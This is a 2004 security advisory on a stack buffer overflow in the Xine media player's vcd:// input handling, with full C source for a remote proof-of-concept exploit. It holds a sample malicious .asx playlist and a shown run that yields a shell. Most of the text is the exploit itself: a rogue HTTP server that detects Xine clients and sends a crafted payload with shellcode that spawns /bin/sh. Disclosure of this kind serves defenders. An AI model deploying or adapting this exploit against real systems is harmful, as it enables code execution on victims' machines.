Xines_Mine.c Open Security Group Advisory
/*
*****************************************************************************************************************
$ An open security advisory #6 - Xine vcd MRL input identifier management
overflow
*****************************************************************************************************************
1: Bug Researcher: c0ntex[at]open-security.org
2: Bug Released: August 08th 2004
3: Bug Impact Rate: Medium / Hi
4: Bug Scope Rate: Remote / Local
*****************************************************************************************************************
$ This advisory and/or proof of concept code must not be used for commercial
gain.
*****************************************************************************************************************
Xine - A free video player
http://xinehq.de
"xine is a free multimedia player. It plays back CDs, DVDs, and VCDs. It
also decodes multimedia files like AVI, MOV, WMV, and MP3 from
local disk drives, and displays multimedia streamed over the Internet. It
interprets many of the most common multimedia formats available
- and some of the most uncommon formats, too."
Part 2 in the Media Mayhem saga, a name that was decided as being aptly
fitting for the "Media Player" security audit project that the Open
Security Group website started at the end of May. This project continues
finding remote exploits in popular media players for Windows and
Linux / UNIX derived systems.
Like the excellent Mplayer, Xine is a superb free media player for Linux.
Sadly there is a generic stack based buffer overflow in all versions
of Xine-lib, including Xine-lib-rc5 that allows for local and remote
malicious code execution.
By overflowing the vcd:// input source identifier buffer, it is possible to
modify the instruction pointer with a value that a malicious attacker
can control. The issue can be replicated in a remote context by embedding
the input source idientifier within a playlist file, such as an asx.
When a user plays the file, this stack overflow will occur, exploit code can
then be executed with the rights of the user running Xine.
The problem slightly increases due to a usability feature. It does not have
to be an asx extension for exploitation to succeed as Xine will try
to be clever and play any media type found, providing it's valid. This still
means the attack vector MUST include the .asx input identifier but
it means you can not even trust URL's for .mp3, .mpeg, .mpg or .avi media.
As long as Xine finds a valid media header, it's happy to change
the demuxer reference and play the found media. In this case it's a playlist
file, ".asx", though others should work.
Any of the following demuxors will work when running against the attached
POC server:
xine --no-splash http://sunscreen/opensecurity.asx
xine --no-splash http://sunscreen/opensecurity.mp3
xine --no-splash http://sunscreen/opensecurity.mpg
xine --no-splash http://sunscreen/opensecurity.mpeg
xine --no-splash http://sunscreen/opensecurity.wma
xine --no-splash http://sunscreen/opensecurity.avi
xine --no-splash http://sunscreen/blah.blah
xine --no-splash http://sunscreen/
There are some tricks that may have to be pulled to allow for successful
code execution to work, primarily due to some memory corruption
that happens and opcode destruction. However it is easily defeated by either
jmp'ing over the corrupt few bytes or by placing the shellcode
into the buffer at some known good location.
An example malicious .asx file:
sunscreen$ cat open-security.asx
<asx version = "3.0">
<title>Open Security Media Archive</title>
<author>Brought to you by c0ntex[at]open-security.org</author>
<abstract>
SongList:
Track 1 - Open Security Rock(s) -> SOAD - Chop Suey
Track 2 - Open Security Rock(s) -> Media Mayhem Militia
</abstract>
<entry>
<title>System Of A Down - Chop Suey</title>
<author>c0ntex[at]open-security.org</author>
<copyright>©2004</copyright>
<Ref href = "http://sunscreen/SOAD-ChopSuey.mp3"/>
</entry>
<entry>
<title>All your media are belong to us!</title>
<author>c0ntex[at]open-security.org</author>
<copyright>©2004</copyright>
<Ref href = "vcd://
????> "/>
</entry>
</asx>
sunscreen$
---
Example POC run:
sunscreen$ gcc -o xinesmine xinesmine.c -lsocket -lnsl
sunscreen$ ./xinesmine -a 0 -p 80
** Xines_Mine - Remote proof of concept example **
[-] Uses .asx header reference to make Xine think it has valid
[-] reference file, then a crafted package is sent to overflow
[-] the vulnerable client && prove remote exploit concept.
[-] c0ntex[at]open-security.org {} http://www.open-security.org
-> Listening for a connection on port 80
[c0ntex@exploited xine]$ ./xine --no-splash http://sunscreen/opensecurity.asx
This is xine (X11 gui) - a free video player v0.99.2.
(c) 2000-2004 The xine Team.
Playlist file (http://sunscreen/opensecurity.asx) is invalid.
WARN: could not retrieve file info for `image.nrg': No such file or directory
WARN: init failed
WARN: open(
1?Ph//shh/bin??PS??1¿':
File name too long
WARN: could not retrieve file info for `
1?Ph//shh/bin??PS??1¿':
File name too long
WARN: init failed
bash-2.05$
Due to the many vulnerabilities being discovered in media players it is
advised not to play any form of music without first verifying its
integrity. It would be worth noting that P2P networks that are currently
sharing music, videos and films tend to be illegal media and as
such void any integrity anyway, I advise highly to stay clear from IRC and
P2P warez.
---
CVS log which details the bug perfectly can be found here:
->
http://sourceforge.net/mailarchive/forum.php?thread_id=5143955&forum_id=11923
Get the latest CVS of Xine-lib from here:
-> http://xinehq.de/index.php/releases
Get the Xine (XSA) advisory from here:
-> http://xinehq.de/index.php/security
Get this original advisory from here:
->
http://www.open-security.org/advisories/advisories.html
---
Xine bug discovered 22nd May 2004
Xine bug research completed 24th May 2004
Xine developers contacted 11th July 2004
Xine bug public release 8th August 2004
cheers
c0ntex[at]open-security.org
http://www.open-security.org
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#ifdef linux
#include <getopt.h>
#endif
#define SUCCESS 0
#define FAILURE 1
#define BUFFER 1044
#define CDATA 150
#define JMP 200
#define THREAT "xine/1-rc5"
#define XPLOIT_OS Redhat9
#define example(OhNoo) fprintf(stderr, "Usage: ./xines_mine -a <align_val> -p
<port>\n\n", OhNoo);
void die(char * errtrap);
void banner(void);
int prepsock(int align_stack, int port);
int pkg_send(int clisock_fd, int align_stack, char * pload, char * payload);
int main(int argc, char ** argv);
static char * http[] = {
"HTTP/1.0 200 OK\r\n",
"Date: Thu, 23 May 2004 12:52:15 GMT\r\n",
"Server: Xines_Mine Server(Linux)\r\n",
"MIME-version: 1.0\r\n",
"Content-Type: audio/x-mpegurl\r\n",
"Content-Length: 2000\r\n",
"Connection: close\r\n",
"\r\n"
};
static char * vcdmuxor[] = {
"<ASX version = \"3.0\">\r\n",
"<TITLE>Xines_Mine</TITLE>\r\n",
"<AUTHOR> c0ntex[at]open-security.org
www.open-security.org</AUTHOR>\r\n",
"<ENTRY>\r\n",
"<ref href=\"vcd://",
"\"/>\r\n",
"</ENTRY>\r\n",
"</ASX>\r\n",
"\r\n"
};
static char opcode[] = "\x31\xc0\x31\xdb\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80\x31\xc0\x31\xdb\xfe\xc0\xcd\x80";
void
die(char * errtrap)
{
perror(errtrap);
_exit(FAILURE);
//exit(1);
}
void
banner(void)
{
fprintf(stderr, "\n ** Xines_Mine - Remote proof of concept example
**\n\n");
fprintf(stderr, "[-] Uses .asx header reference to make Xine think it
has valid\n");
fprintf(stderr, "[-] reference file, then a crafted package is sent to
overflow\n");
fprintf(stderr, "[-] the vulnerable client && prove remote exploit
concept.\n");
fprintf(stderr, "[-] c0ntex[at]open-security.org {}
http://www.open-security.org \n\n");
}
int
prepsock(int align_stack, int port)
{
unsigned int cl_buf, recv_chk, reuse = 1;
unsigned int clisock_fd;
signed int sock_fd;
static char chk_vuln[CDATA];
static char payload[BUFFER];
struct sockaddr_in victimised, xine;
char *pload = (char *) &opcode;
((sock_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
? die("Could not create socket")
: (setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR, &reuse, sizeof(int)) == -1)
? die("Could not re-use socket")
: memset(&xine, 0, sizeof(xine));
xine.sin_family = AF_INET;
xine.sin_port = htons(port);
xine.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(sock_fd, (struct sockaddr *)&xine, sizeof(struct sockaddr)) ==
-1) {
close(sock_fd); die("Could not bind socket");
}
if(listen(sock_fd, 0) == -1) {
close(sock_fd); die("Could not listen on socket");
}
printf(" -> Listening for a connection on port %d\n", port);
cl_buf = sizeof(victimised);
clisock_fd = accept(sock_fd, (struct sockaddr *)&victimised, &cl_buf);
if(!clisock_fd) {
die("Could not accept connection\n");
}
if(!close(sock_fd)) {
fprintf(stderr, "Could not close socket\n");
}
fprintf(stderr, " -> Action: Attaching from host [%s]\n",
inet_ntoa(victimised.sin_addr));
fprintf(stderr, " -> Using align [%d] and port [%d]\n", align_stack,
port);
//memset(chk_vuln, 0, CDATA);
memset(chk_vuln, 0, sizeof(chk_vuln));
recv_chk = recv(clisock_fd, chk_vuln, sizeof(chk_vuln), 0);
chk_vuln[recv_chk+1] = '\0';
if((recv_chk == -1) || (recv_chk == 0)) {
fprintf(stderr, "Could not receive data from client\n");
}
if(strstr(chk_vuln, THREAT)) {
fprintf(stderr, " -> Detected vulnerable Xine version\n");
}else{
fprintf(stderr, " -> Detected a non-Xine connection, end.\n");
close(clisock_fd); die("Ending connection, not a Xine
client\n");
}
if(pkg_send(clisock_fd, align_stack, pload, payload) == 1) {
fprintf(stderr, "Could not send package\n");
close(clisock_fd); die("Could not send package!\n");
}
if(close(clisock_fd) != 0) {
fprintf(stderr, "Could not close socket\n");
}
return clisock_fd;
//return SUCCESS;
}
int
pkg_send(int clisock_fd, int align_stack, char * pload, char * payload)
{
unsigned int i = 0;
memset(payload, 0, BUFFER);
for(i = (BUFFER - JMP + align_stack); i < BUFFER; i += 4) {
payload[i] = 0xbc;
payload[i+1] = 0xe7;
payload[i+2] = 0x7f;
payload[i+3] = 0xbf;
}
for (i = 0; i < (BUFFER - 33 - 20); i += 2) {//7 ) {
payload[i] = 0x4d;
payload[i+1] = 0x45;
//payload[i+1] = 0x63;
//payload[i+1] = 0x30;
//payload[i+1] = 0x6e;
//payload[i+1] = 0x74;
//payload[i+1] = 0x65;
//payload[i+1] = 0x78;
//payload[i+1] = 0x90;
}
memcpy(payload + i, pload, strlen(pload));
payload[1045] = 0x00;
fprintf(stderr, " -> Payload size to send is [%4d]\n", strlen(payload));
fprintf(stderr, " -> Sending evil payload to our client\n");
fflush(stderr);
for (i = 0; i < 8; i++)
if(send(clisock_fd, http[i], strlen(http[i]), 0) == -1) {
close(clisock_fd); die("Could not send HTTP header");
}fprintf(stderr, "\t- Sending valid HTTP header..\n"); sleep(1);
for (i = 0; i < 5; i++)
if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1)
{
close(clisock_fd); die("Could not send asx header");
}fprintf(stderr, "\t- Sending starter asx header..\n");
sleep(1);
if(send(clisock_fd, payload, strlen(payload), 0) == -1) {
close(clisock_fd); die("Could not send payload");
}fprintf(stderr, "\t- Sending payload package..\n"); sleep(1);
for (i = 5; i < 9; i++)
if(send(clisock_fd, vcdmuxor[i], strlen(vcdmuxor[i]), 0) == -1)
{
close(clisock_fd); die("Could not send asx header");
}fprintf(stderr, "\t- Sending cleanup asx header..\n");
return EXIT_SUCCESS;
}
int
main(int argc, char ** argv)
{
unsigned int align_stack = 0, port = 80;
unsigned int opts;
static char * exploit = NULL;
if(argc < 2) {
goto jumpout;
}banner();
while((opts = getopt(argc, argv, "a:p:")) != -1) {
switch(opts)
{
case 'a':
align_stack = atoi(optarg);
if((align_stack < 0) || (align_stack > 3)) {
goto jumpout;
}
break;
case 'p':
port = atoi(optarg);
if((port < 0) || (port > 65535)) {
goto jumpout;
}
break;
default:
goto jumpout;
break;
}
}
if(prepsock(align_stack, port) == -1) {
fprintf(stderr, "Error\n");
_exit(FAILURE);
} fprintf(stderr, " -> Test complete\n\n");
return EXIT_SUCCESS;
jumpout:
banner();
example(exploit);
return EXIT_FAILURE;
}